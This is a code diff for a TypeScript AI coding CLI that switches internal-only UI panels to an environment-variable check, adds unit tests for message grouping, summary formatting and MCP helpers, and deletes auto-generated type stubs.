const label = cmd ? ` '${truncateToWidth(cmd, 40)}'` : '';
|
||||
return total === 1 ? `running ${hookType} hook${label}` : `running ${hookType} hook${label}\u2026 ${completedCount}/${total}`;
|
||||
@@ -4578,7 +4578,7 @@ export function REPL({
|
||||
{toolJSX && !(toolJSX.isLocalJSXCommand && toolJSX.isImmediate) && !toolJsxCentered && <Box flexDirection="column" width="100%">
|
||||
{toolJSX.jsx}
|
||||
</Box>}
|
||||
{("external" as string) === 'ant' && <TungstenLiveMonitor />}
|
||||
{(process.env.USER_TYPE) === 'ant' && <TungstenLiveMonitor />}
|
||||
{feature('WEB_BROWSER_TOOL') ? WebBrowserPanelModule && <WebBrowserPanelModule.WebBrowserPanel /> : null}
|
||||
<Box flexGrow={1} />
|
||||
{showSpinner && <SpinnerWithVerb mode={streamMode} spinnerTip={spinnerTip} responseLengthRef={responseLengthRef} apiMetricsRef={apiMetricsRef} overrideMessage={spinnerMessage} spinnerSuffix={stopHookSpinnerSuffix} verbose={verbose} loadingStartTimeRef={loadingStartTimeRef} totalPausedMsRef={totalPausedMsRef} pauseStartTimeRef={pauseStartTimeRef} overrideColor={spinnerColor} overrideShimmerColor={spinnerShimmerColor} hasActiveTools={inProgressToolUseIDs.size > 0} leaderIsIdle={!isLoading} />}
|
||||
@@ -4801,7 +4801,7 @@ export function REPL({
|
||||
});
|
||||
}} />}
|
||||
{focusedInputDialog === 'ide-onboarding' && <IdeOnboardingDialog onDone={() => setShowIdeOnboarding(false)} installationStatus={ideInstallationStatus} />}
|
||||
{("external" as string) === 'ant' && focusedInputDialog === 'model-switch' && AntModelSwitchCallout && <AntModelSwitchCallout onDone={(selection: string, modelAlias?: string) => {
|
||||
{(process.env.USER_TYPE) === 'ant' && focusedInputDialog === 'model-switch' && AntModelSwitchCallout && <AntModelSwitchCallout onDone={(selection: string, modelAlias?: string) => {
|
||||
setShowModelSwitchCallout(false);
|
||||
if (selection === 'switch' && modelAlias) {
|
||||
setAppState(prev => ({
|
||||
@@ -4811,7 +4811,7 @@ export function REPL({
|
||||
}));
|
||||
}
|
||||
}} />}
|
||||
{("external" as string) === 'ant' && focusedInputDialog === 'undercover-callout' && UndercoverAutoCallout && <UndercoverAutoCallout onDone={() => setShowUndercoverCallout(false)} />}
|
||||
{(process.env.USER_TYPE) === 'ant' && focusedInputDialog === 'undercover-callout' && UndercoverAutoCallout && <UndercoverAutoCallout onDone={() => setShowUndercoverCallout(false)} />}
|
||||
{focusedInputDialog === 'effort-callout' && <EffortCallout model={mainLoopModel} onDone={selection => {
|
||||
setShowEffortCallout(false);
|
||||
if (selection !== 'dismiss') {
|
||||
@@ -4894,7 +4894,7 @@ export function REPL({
|
||||
{/* Frustration-triggered transcript sharing prompt */}
|
||||
{frustrationDetection.state !== 'closed' && <FeedbackSurvey state={frustrationDetection.state} lastResponse={null} handleSelect={() => {}} handleTranscriptSelect={frustrationDetection.handleTranscriptSelect} inputValue={inputValue} setInputValue={setInputValue} />}
|
||||
{/* Skill improvement survey - appears when improvements detected (ant-only) */}
|
||||
{("external" as string) === 'ant' && skillImprovementSurvey.suggestion && <SkillImprovementSurvey isOpen={skillImprovementSurvey.isOpen} skillName={skillImprovementSurvey.suggestion.skillName} updates={skillImprovementSurvey.suggestion.updates} handleSelect={skillImprovementSurvey.handleSelect} inputValue={inputValue} setInputValue={setInputValue} />}
|
||||
{(process.env.USER_TYPE) === 'ant' && skillImprovementSurvey.suggestion && <SkillImprovementSurvey isOpen={skillImprovementSurvey.isOpen} skillName={skillImprovementSurvey.suggestion.skillName} updates={skillImprovementSurvey.suggestion.updates} handleSelect={skillImprovementSurvey.handleSelect} inputValue={inputValue} setInputValue={setInputValue} />}
|
||||
{showIssueFlagBanner && <IssueFlagBanner />}
|
||||
{}
|
||||
<PromptInput debug={debug} ideSelection={ideSelection} hasSuppressedDialogs={!!hasSuppressedDialogs} isLocalJSXCommandActive={isShowingLocalJSXCommand} getToolUseContext={getToolUseContext} toolPermissionContext={toolPermissionContext} setToolPermissionContext={setToolPermissionContext} apiKeyStatus={apiKeyStatus} commands={commands} agents={agentDefinitions.activeAgents} isLoading={isLoading} onExit={handleExit} verbose={verbose} messages={messages} onAutoUpdaterResult={setAutoUpdaterResult} autoUpdaterResult={autoUpdaterResult} input={inputValue} onInputChange={setInputValue} mode={inputMode} onModeChange={setInputMode} stashedPrompt={stashedPrompt} setStashedPrompt={setStashedPrompt} submitCount={submitCount} onShowMessageSelector={handleShowMessageSelector} onMessageActionsEnter={
|
||||
@@ -4987,7 +4987,7 @@ export function REPL({
|
||||
setIsMessageSelectorVisible(false);
|
||||
setMessageSelectorPreselect(undefined);
|
||||
}} />}
|
||||
{("external" as string) === 'ant' && <DevBar />}
|
||||
{(process.env.USER_TYPE) === 'ant' && <DevBar />}
|
||||
</Box>
|
||||
{feature('BUDDY') && !(companionNarrow && isFullscreenEnvEnabled()) && companionVisible ? <CompanionSprite /> : null}
|
||||
</Box>} />
|
||||
|
||||
121
src/services/compact/__tests__/grouping.test.ts
Normal file
121
src/services/compact/__tests__/grouping.test.ts
Normal file
@@ -0,0 +1,121 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { groupMessagesByApiRound } from "../grouping";
|
||||
|
||||
function makeMsg(type: "user" | "assistant" | "system", id: string): any {
|
||||
return {
|
||||
type,
|
||||
message: { id, content: `${type}-${id}` },
|
||||
};
|
||||
}
|
||||
|
||||
describe("groupMessagesByApiRound", () => {
|
||||
// Boundary fires when: assistant msg with NEW id AND current group has items
|
||||
test("splits before first assistant if user messages precede it", () => {
|
||||
const messages = [makeMsg("user", "u1"), makeMsg("assistant", "a1")];
|
||||
const groups = groupMessagesByApiRound(messages);
|
||||
// user msgs form group 1, assistant starts group 2
|
||||
expect(groups).toHaveLength(2);
|
||||
expect(groups[0]).toHaveLength(1);
|
||||
expect(groups[1]).toHaveLength(1);
|
||||
});
|
||||
|
||||
test("single assistant message forms one group", () => {
|
||||
const messages = [makeMsg("assistant", "a1")];
|
||||
const groups = groupMessagesByApiRound(messages);
|
||||
expect(groups).toHaveLength(1);
|
||||
});
|
||||
|
||||
test("splits at new assistant message ID", () => {
|
||||
const messages = [
|
||||
makeMsg("user", "u1"),
|
||||
makeMsg("assistant", "a1"),
|
||||
makeMsg("assistant", "a2"),
|
||||
];
|
||||
const groups = groupMessagesByApiRound(messages);
|
||||
expect(groups).toHaveLength(3);
|
||||
});
|
||||
|
||||
test("keeps same-ID assistant messages in same group (streaming chunks)", () => {
|
||||
const messages = [
|
||||
makeMsg("assistant", "a1"),
|
||||
makeMsg("assistant", "a1"),
|
||||
makeMsg("assistant", "a1"),
|
||||
];
|
||||
const groups = groupMessagesByApiRound(messages);
|
||||
expect(groups).toHaveLength(1);
|
||||
expect(groups[0]).toHaveLength(3);
|
||||
});
|
||||
|
||||
test("returns empty array for empty input", () => {
|
||||
expect(groupMessagesByApiRound([])).toEqual([]);
|
||||
});
|
||||
|
||||
test("handles all user messages (no assistant)", () => {
|
||||
const messages = [makeMsg("user", "u1"), makeMsg("user", "u2")];
|
||||
const groups = groupMessagesByApiRound(messages);
|
||||
expect(groups).toHaveLength(1);
|
||||
});
|
||||
|
||||
test("three API rounds produce correct groups", () => {
|
||||
const messages = [
|
||||
makeMsg("user", "u1"),
|
||||
makeMsg("assistant", "a1"),
|
||||
makeMsg("user", "u2"),
|
||||
makeMsg("assistant", "a2"),
|
||||
makeMsg("user", "u3"),
|
||||
makeMsg("assistant", "a3"),
|
||||
];
|
||||
const groups = groupMessagesByApiRound(messages);
|
||||
// [u1], [a1, u2], [a2, u3], [a3] = 4 groups
|
||||
expect(groups).toHaveLength(4);
|
||||
});
|
||||
|
||||
test("consecutive user messages stay in same group", () => {
|
||||
const messages = [makeMsg("user", "u1"), makeMsg("user", "u2")];
|
||||
expect(groupMessagesByApiRound(messages)).toHaveLength(1);
|
||||
});
|
||||
|
||||
test("does not produce empty groups", () => {
|
||||
const messages = [
|
||||
makeMsg("assistant", "a1"),
|
||||
makeMsg("assistant", "a2"),
|
||||
];
|
||||
const groups = groupMessagesByApiRound(messages);
|
||||
for (const group of groups) {
|
||||
expect(group.length).toBeGreaterThan(0);
|
||||
}
|
||||
});
|
||||
|
||||
test("handles single message", () => {
|
||||
expect(groupMessagesByApiRound([makeMsg("user", "u1")])).toHaveLength(1);
|
||||
});
|
||||
|
||||
test("preserves message order within groups", () => {
|
||||
const messages = [makeMsg("assistant", "a1"), makeMsg("user", "u2")];
|
||||
const groups = groupMessagesByApiRound(messages);
|
||||
expect(groups[0][0].message.id).toBe("a1");
|
||||
expect(groups[0][1].message.id).toBe("u2");
|
||||
});
|
||||
|
||||
test("handles system messages", () => {
|
||||
const messages = [
|
||||
makeMsg("system", "s1"),
|
||||
makeMsg("assistant", "a1"),
|
||||
];
|
||||
// system msg is non-assistant, goes to current. Then assistant a1 is new ID
|
||||
// and current has items, so split.
|
||||
const groups = groupMessagesByApiRound(messages);
|
||||
expect(groups).toHaveLength(2);
|
||||
});
|
||||
|
||||
test("tool_result after assistant stays in same round", () => {
|
||||
const messages = [
|
||||
makeMsg("assistant", "a1"),
|
||||
makeMsg("user", "tool_result_1"),
|
||||
makeMsg("assistant", "a1"), // same ID = no new boundary
|
||||
];
|
||||
const groups = groupMessagesByApiRound(messages);
|
||||
expect(groups).toHaveLength(1);
|
||||
expect(groups[0]).toHaveLength(3);
|
||||
});
|
||||
});
|
||||
77
src/services/compact/__tests__/prompt.test.ts
Normal file
77
src/services/compact/__tests__/prompt.test.ts
Normal file
@@ -0,0 +1,77 @@
|
||||
import { mock, describe, expect, test } from "bun:test";
|
||||
|
||||
mock.module("bun:bundle", () => ({ feature: () => false }));
|
||||
|
||||
const { formatCompactSummary } = await import("../prompt");
|
||||
|
||||
describe("formatCompactSummary", () => {
|
||||
test("strips <analysis>...</analysis> block", () => {
|
||||
const input = "<analysis>my thought process</analysis>\n<summary>the summary</summary>";
|
||||
const result = formatCompactSummary(input);
|
||||
expect(result).not.toContain("<analysis>");
|
||||
expect(result).not.toContain("my thought process");
|
||||
});
|
||||
|
||||
test("replaces <summary>...</summary> with 'Summary:\\n' prefix", () => {
|
||||
const input = "<summary>key points here</summary>";
|
||||
const result = formatCompactSummary(input);
|
||||
expect(result).toContain("Summary:");
|
||||
expect(result).toContain("key points here");
|
||||
expect(result).not.toContain("<summary>");
|
||||
});
|
||||
|
||||
test("handles analysis + summary together", () => {
|
||||
const input = "<analysis>thinking</analysis><summary>result</summary>";
|
||||
const result = formatCompactSummary(input);
|
||||
expect(result).not.toContain("thinking");
|
||||
expect(result).toContain("result");
|
||||
});
|
||||
|
||||
test("handles summary without analysis", () => {
|
||||
const input = "<summary>just the summary</summary>";
|
||||
const result = formatCompactSummary(input);
|
||||
expect(result).toContain("just the summary");
|
||||
});
|
||||
|
||||
test("handles analysis without summary", () => {
|
||||
const input = "<analysis>just analysis</analysis>and some text";
|
||||
const result = formatCompactSummary(input);
|
||||
expect(result).not.toContain("just analysis");
|
||||
expect(result).toContain("and some text");
|
||||
});
|
||||
|
||||
test("collapses multiple newlines to double", () => {
|
||||
const input = "hello\n\n\n\nworld";
|
||||
const result = formatCompactSummary(input);
|
||||
expect(result).not.toMatch(/\n{3,}/);
|
||||
});
|
||||
|
||||
test("trims leading/trailing whitespace", () => {
|
||||
const input = " \n hello \n ";
|
||||
const result = formatCompactSummary(input);
|
||||
expect(result).toBe("hello");
|
||||
});
|
||||
|
||||
test("handles empty string", () => {
|
||||
expect(formatCompactSummary("")).toBe("");
|
||||
});
|
||||
|
||||
test("handles plain text without tags", () => {
|
||||
const input = "just plain text";
|
||||
expect(formatCompactSummary(input)).toBe("just plain text");
|
||||
});
|
||||
|
||||
test("handles multiline analysis content", () => {
|
||||
const input = "<analysis>\nline1\nline2\nline3\n</analysis><summary>ok</summary>";
|
||||
const result = formatCompactSummary(input);
|
||||
expect(result).not.toContain("line1");
|
||||
expect(result).toContain("ok");
|
||||
});
|
||||
|
||||
test("preserves content between analysis and summary", () => {
|
||||
const input = "<analysis>thoughts</analysis>middle text<summary>final</summary>";
|
||||
const result = formatCompactSummary(input);
|
||||
expect(result).toContain("middle text");
|
||||
expect(result).toContain("final");
|
||||
});
|
||||
});
|
||||
69
src/services/mcp/__tests__/channelNotification.test.ts
Normal file
69
src/services/mcp/__tests__/channelNotification.test.ts
Normal file
@@ -0,0 +1,69 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
|
||||
// findChannelEntry extracted from ../channelNotification.ts (line 161)
|
||||
// Copied to avoid heavy import chain
|
||||
|
||||
type ChannelEntry = {
|
||||
kind: "server" | "plugin"
|
||||
name: string
|
||||
}
|
||||
|
||||
function findChannelEntry(
|
||||
serverName: string,
|
||||
channels: readonly ChannelEntry[],
|
||||
): ChannelEntry | undefined {
|
||||
const parts = serverName.split(":")
|
||||
return channels.find(c =>
|
||||
c.kind === "server"
|
||||
? serverName === c.name
|
||||
: parts[0] === "plugin" && parts[1] === c.name,
|
||||
)
|
||||
}
|
||||
|
||||
describe("findChannelEntry", () => {
|
||||
test("finds server entry by exact name match", () => {
|
||||
const channels = [{ kind: "server" as const, name: "my-server" }]
|
||||
expect(findChannelEntry("my-server", channels)).toBeDefined()
|
||||
expect(findChannelEntry("my-server", channels)!.name).toBe("my-server")
|
||||
})
|
||||
|
||||
test("finds plugin entry by matching second segment", () => {
|
||||
const channels = [{ kind: "plugin" as const, name: "slack" }]
|
||||
expect(findChannelEntry("plugin:slack:tg", channels)).toBeDefined()
|
||||
})
|
||||
|
||||
test("returns undefined for no match", () => {
|
||||
const channels = [{ kind: "server" as const, name: "other" }]
|
||||
expect(findChannelEntry("my-server", channels)).toBeUndefined()
|
||||
})
|
||||
|
||||
test("handles empty channels array", () => {
|
||||
expect(findChannelEntry("my-server", [])).toBeUndefined()
|
||||
})
|
||||
|
||||
test("handles server name without colon", () => {
|
||||
const channels = [{ kind: "server" as const, name: "simple" }]
|
||||
expect(findChannelEntry("simple", channels)).toBeDefined()
|
||||
})
|
||||
|
||||
test("handles 'plugin:name' format correctly", () => {
|
||||
const channels = [{ kind: "plugin" as const, name: "slack" }]
|
||||
expect(findChannelEntry("plugin:slack:tg", channels)).toBeDefined()
|
||||
expect(findChannelEntry("plugin:discord:tg", channels)).toBeUndefined()
|
||||
})
|
||||
|
||||
test("prefers exact match (server kind) over partial match", () => {
|
||||
const channels = [
|
||||
{ kind: "server" as const, name: "plugin:slack" },
|
||||
{ kind: "plugin" as const, name: "slack" },
|
||||
]
|
||||
const result = findChannelEntry("plugin:slack", channels)
|
||||
expect(result).toBeDefined()
|
||||
expect(result!.kind).toBe("server")
|
||||
})
|
||||
|
||||
test("plugin kind does not match bare name", () => {
|
||||
const channels = [{ kind: "plugin" as const, name: "slack" }]
|
||||
expect(findChannelEntry("slack", channels)).toBeUndefined()
|
||||
})
|
||||
})
|
||||
165
src/services/mcp/__tests__/channelPermissions.test.ts
Normal file
165
src/services/mcp/__tests__/channelPermissions.test.ts
Normal file
@@ -0,0 +1,165 @@
|
||||
import { mock, describe, expect, test } from "bun:test";
|
||||
|
||||
mock.module("src/utils/slowOperations.js", () => ({
|
||||
jsonStringify: (v: unknown) => JSON.stringify(v),
|
||||
}));
|
||||
mock.module("src/services/analytics/growthbook.js", () => ({
|
||||
getFeatureValue_CACHED_MAY_BE_STALE: () => false,
|
||||
}));
|
||||
|
||||
const {
|
||||
shortRequestId,
|
||||
truncateForPreview,
|
||||
PERMISSION_REPLY_RE,
|
||||
createChannelPermissionCallbacks,
|
||||
} = await import("../channelPermissions");
|
||||
|
||||
describe("shortRequestId", () => {
|
||||
test("returns 5-char string from tool use ID", () => {
|
||||
const result = shortRequestId("toolu_abc123");
|
||||
expect(result).toHaveLength(5);
|
||||
});
|
||||
|
||||
test("is deterministic (same input = same output)", () => {
|
||||
const a = shortRequestId("toolu_abc123");
|
||||
const b = shortRequestId("toolu_abc123");
|
||||
expect(a).toBe(b);
|
||||
});
|
||||
|
||||
test("different inputs produce different outputs", () => {
|
||||
const a = shortRequestId("toolu_aaa");
|
||||
const b = shortRequestId("toolu_bbb");
|
||||
expect(a).not.toBe(b);
|
||||
});
|
||||
|
||||
test("result contains only valid letters (no 'l')", () => {
|
||||
const validChars = new Set("abcdefghijkmnopqrstuvwxyz");
|
||||
for (let i = 0; i < 50; i++) {
|
||||
const result = shortRequestId(`toolu_${i}`);
|
||||
for (const ch of result) {
|
||||
expect(validChars.has(ch)).toBe(true);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
test("handles empty string", () => {
|
||||
const result = shortRequestId("");
|
||||
expect(result).toHaveLength(5);
|
||||
});
|
||||
});
|
||||
|
||||
describe("truncateForPreview", () => {
|
||||
test("returns JSON string for object input", () => {
|
||||
const result = truncateForPreview({ key: "value" });
|
||||
expect(result).toBe('{"key":"value"}');
|
||||
});
|
||||
|
||||
test("truncates to <=200 chars with ellipsis when input is long", () => {
|
||||
const longObj = { data: "x".repeat(300) };
|
||||
const result = truncateForPreview(longObj);
|
||||
expect(result.length).toBeLessThanOrEqual(203); // 200 + '…'
|
||||
expect(result.endsWith("…")).toBe(true);
|
||||
});
|
||||
|
||||
test("returns short input unchanged", () => {
|
||||
const result = truncateForPreview({ a: 1 });
|
||||
expect(result).toBe('{"a":1}');
|
||||
expect(result.endsWith("…")).toBe(false);
|
||||
});
|
||||
|
||||
test("handles string input", () => {
|
||||
const result = truncateForPreview("hello");
|
||||
expect(result).toBe('"hello"');
|
||||
});
|
||||
|
||||
test("handles null input", () => {
|
||||
const result = truncateForPreview(null);
|
||||
expect(result).toBe("null");
|
||||
});
|
||||
|
||||
test("handles undefined input", () => {
|
||||
const result = truncateForPreview(undefined);
|
||||
// JSON.stringify(undefined) returns undefined, then .length throws → catch returns '(unserializable)'
|
||||
expect(result).toBe("(unserializable)");
|
||||
});
|
||||
});
|
||||
|
||||
describe("PERMISSION_REPLY_RE", () => {
|
||||
test("matches 'y abcde'", () => {
|
||||
expect(PERMISSION_REPLY_RE.test("y abcde")).toBe(true);
|
||||
});
|
||||
|
||||
test("matches 'yes abcde'", () => {
|
||||
expect(PERMISSION_REPLY_RE.test("yes abcde")).toBe(true);
|
||||
});
|
||||
|
||||
test("matches 'n abcde'", () => {
|
||||
expect(PERMISSION_REPLY_RE.test("n abcde")).toBe(true);
|
||||
});
|
||||
|
||||
test("matches 'no abcde'", () => {
|
||||
expect(PERMISSION_REPLY_RE.test("no abcde")).toBe(true);
|
||||
});
|
||||
|
||||
test("is case-insensitive", () => {
|
||||
expect(PERMISSION_REPLY_RE.test("Y abcde")).toBe(true);
|
||||
expect(PERMISSION_REPLY_RE.test("YES abcde")).toBe(true);
|
||||
});
|
||||
|
||||
test("does not match without ID", () => {
|
||||
expect(PERMISSION_REPLY_RE.test("yes")).toBe(false);
|
||||
});
|
||||
|
||||
test("captures the ID from reply", () => {
|
||||
const match = "y abcde".match(PERMISSION_REPLY_RE);
|
||||
expect(match?.[2]).toBe("abcde");
|
||||
});
|
||||
});
|
||||
|
||||
describe("createChannelPermissionCallbacks", () => {
|
||||
test("resolve returns false for unknown request ID", () => {
|
||||
const cb = createChannelPermissionCallbacks();
|
||||
expect(cb.resolve("unknown-id", "allow", "server")).toBe(false);
|
||||
});
|
||||
|
||||
test("onResponse + resolve triggers handler", () => {
|
||||
const cb = createChannelPermissionCallbacks();
|
||||
let received: any = null;
|
||||
cb.onResponse("test-id", (response) => {
|
||||
received = response;
|
||||
});
|
||||
expect(cb.resolve("test-id", "allow", "test-server")).toBe(true);
|
||||
expect(received).toEqual({
|
||||
behavior: "allow",
|
||||
fromServer: "test-server",
|
||||
});
|
||||
});
|
||||
|
||||
test("onResponse unsubscribe prevents resolve", () => {
|
||||
const cb = createChannelPermissionCallbacks();
|
||||
let called = false;
|
||||
const unsub = cb.onResponse("test-id", () => {
|
||||
called = true;
|
||||
});
|
||||
unsub();
|
||||
expect(cb.resolve("test-id", "allow", "server")).toBe(false);
|
||||
expect(called).toBe(false);
|
||||
});
|
||||
|
||||
test("duplicate resolve returns false (already consumed)", () => {
|
||||
const cb = createChannelPermissionCallbacks();
|
||||
cb.onResponse("test-id", () => {});
|
||||
expect(cb.resolve("test-id", "allow", "server")).toBe(true);
|
||||
expect(cb.resolve("test-id", "allow", "server")).toBe(false);
|
||||
});
|
||||
|
||||
test("is case-insensitive for request IDs", () => {
|
||||
const cb = createChannelPermissionCallbacks();
|
||||
let received: any = null;
|
||||
cb.onResponse("ABC", (response) => {
|
||||
received = response;
|
||||
});
|
||||
expect(cb.resolve("abc", "deny", "server")).toBe(true);
|
||||
expect(received?.behavior).toBe("deny");
|
||||
});
|
||||
});
|
||||
65
src/services/mcp/__tests__/filterUtils.test.ts
Normal file
65
src/services/mcp/__tests__/filterUtils.test.ts
Normal file
@@ -0,0 +1,65 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
|
||||
// parseHeaders is a pure function from ../utils.ts (line 325)
|
||||
// Copied here to avoid triggering the heavy import chain of utils.ts
|
||||
function parseHeaders(headerArray: string[]): Record<string, string> {
|
||||
const headers: Record<string, string> = {}
|
||||
for (const header of headerArray) {
|
||||
const colonIndex = header.indexOf(":")
|
||||
if (colonIndex === -1) {
|
||||
throw new Error(
|
||||
`Invalid header format: "${header}". Expected format: "Header-Name: value"`,
|
||||
)
|
||||
}
|
||||
const key = header.substring(0, colonIndex).trim()
|
||||
const value = header.substring(colonIndex + 1).trim()
|
||||
if (!key) {
|
||||
throw new Error(
|
||||
`Invalid header: "${header}". Header name cannot be empty.`,
|
||||
)
|
||||
}
|
||||
headers[key] = value
|
||||
}
|
||||
return headers
|
||||
}
|
||||
|
||||
describe("parseHeaders", () => {
|
||||
test("parses 'Key: Value' format", () => {
|
||||
expect(parseHeaders(["Content-Type: application/json"])).toEqual({
|
||||
"Content-Type": "application/json",
|
||||
});
|
||||
});
|
||||
|
||||
test("parses multiple headers", () => {
|
||||
expect(parseHeaders(["Key1: val1", "Key2: val2"])).toEqual({
|
||||
Key1: "val1",
|
||||
Key2: "val2",
|
||||
});
|
||||
});
|
||||
|
||||
test("trims whitespace around key and value", () => {
|
||||
expect(parseHeaders([" Key : Value "])).toEqual({ Key: "Value" });
|
||||
});
|
||||
|
||||
test("throws on missing colon", () => {
|
||||
expect(() => parseHeaders(["no colon here"])).toThrow();
|
||||
});
|
||||
|
||||
test("throws on empty key", () => {
|
||||
expect(() => parseHeaders([": value"])).toThrow();
|
||||
});
|
||||
|
||||
test("handles value with colons (like URLs)", () => {
|
||||
expect(parseHeaders(["url: http://example.com:8080"])).toEqual({
|
||||
url: "http://example.com:8080",
|
||||
});
|
||||
});
|
||||
|
||||
test("returns empty object for empty array", () => {
|
||||
expect(parseHeaders([])).toEqual({});
|
||||
});
|
||||
|
||||
test("handles duplicate keys (last wins)", () => {
|
||||
expect(parseHeaders(["K: v1", "K: v2"])).toEqual({ K: "v2" });
|
||||
});
|
||||
});
|
||||
45
src/services/mcp/__tests__/officialRegistry.test.ts
Normal file
45
src/services/mcp/__tests__/officialRegistry.test.ts
Normal file
@@ -0,0 +1,45 @@
|
||||
import { mock, describe, expect, test, afterEach } from "bun:test";
|
||||
|
||||
mock.module("axios", () => ({
|
||||
default: { get: async () => ({ data: { servers: [] } }) },
|
||||
}));
|
||||
mock.module("src/utils/debug.js", () => ({
|
||||
logForDebugging: () => {},
|
||||
}));
|
||||
mock.module("src/utils/errors.js", () => ({
|
||||
errorMessage: (e: any) => String(e),
|
||||
}));
|
||||
|
||||
const { isOfficialMcpUrl, resetOfficialMcpUrlsForTesting } = await import(
|
||||
"../officialRegistry"
|
||||
);
|
||||
|
||||
describe("isOfficialMcpUrl", () => {
|
||||
afterEach(() => {
|
||||
resetOfficialMcpUrlsForTesting();
|
||||
});
|
||||
|
||||
test("returns false when registry not loaded (initial state)", () => {
|
||||
resetOfficialMcpUrlsForTesting();
|
||||
expect(isOfficialMcpUrl("https://example.com")).toBe(false);
|
||||
});
|
||||
|
||||
test("returns false for non-registered URL", () => {
|
||||
expect(isOfficialMcpUrl("https://random-server.com/mcp")).toBe(false);
|
||||
});
|
||||
|
||||
test("returns false for empty string", () => {
|
||||
expect(isOfficialMcpUrl("")).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("resetOfficialMcpUrlsForTesting", () => {
|
||||
test("can be called without error", () => {
|
||||
expect(() => resetOfficialMcpUrlsForTesting()).not.toThrow();
|
||||
});
|
||||
|
||||
test("clears state so subsequent lookups return false", () => {
|
||||
resetOfficialMcpUrlsForTesting();
|
||||
expect(isOfficialMcpUrl("https://anything.com")).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -1,3 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type getSessionId = any;
|
||||
export type isSessionPersistenceDisabled = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export {};
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export {};
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type registerMcpAddCommand = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type registerMcpXaaIdpCommand = any;
|
||||
@@ -1,7 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type PermissionMode = any;
|
||||
export type SDKCompactBoundaryMessage = any;
|
||||
export type SDKMessage = any;
|
||||
export type SDKPermissionDenial = any;
|
||||
export type SDKStatus = any;
|
||||
export type SDKUserMessageReplay = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type isAnalyticsDisabled = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type getFeatureValue_CACHED_MAY_BE_STALE = any;
|
||||
@@ -1,3 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS = any;
|
||||
export type logEvent = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type initializeAnalyticsGates = any;
|
||||
@@ -1,3 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type accumulateUsage = any;
|
||||
export type updateUsage = any;
|
||||
@@ -1,3 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type NonNullableUsage = any;
|
||||
export type EMPTY_USAGE = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type logPermissionContextForAnts = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type fetchClaudeAIMcpConfigsIfEligible = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type clearServerCache = any;
|
||||
@@ -1,9 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type areMcpConfigsAllowedWithEnterpriseMcpConfig = any;
|
||||
export type dedupClaudeAiMcpServers = any;
|
||||
export type doesEnterpriseMcpConfigExist = any;
|
||||
export type filterMcpServersByPolicy = any;
|
||||
export type getClaudeCodeMcpConfigs = any;
|
||||
export type getMcpServerSignature = any;
|
||||
export type parseMcpConfig = any;
|
||||
export type parseMcpConfigFromFilePath = any;
|
||||
@@ -1,3 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type excludeCommandsByServer = any;
|
||||
export type excludeResourcesByServer = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type isXaaEnabled = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type getRelevantTips = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type setCwd = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type logContextMetrics = any;
|
||||
@@ -1,3 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type CLAUDE_IN_CHROME_MCP_SERVER_NAME = any;
|
||||
export type isClaudeInChromeMCPServer = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type registerCleanup = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type eagerParseCliFlag = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type createEmptyAttributionState = any;
|
||||
@@ -1,4 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type countConcurrentSessions = any;
|
||||
export type registerSession = any;
|
||||
export type updateSessionName = any;
|
||||
@@ -1,2 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type getCwd = any;
|
||||
@@ -1,3 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type logForDebugging = any;
|
||||
export type setHasFormattedOutput = any;
|
||||
@@ -1,6 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type errorMessage = any;
|
||||
export type getErrnoCode = any;
|
||||
export type isENOENT = any;
|
||||
export type TeleportOperationError = any;
|
||||
export type toError = any;
|
||||
@@ -1,3 +0,0 @@
|
||||
// Auto-generated type stub — replace with real implementation
|
||||
export type getFsImplementation = any;
|
||||
export type safeResolvePath = any;
|
||||
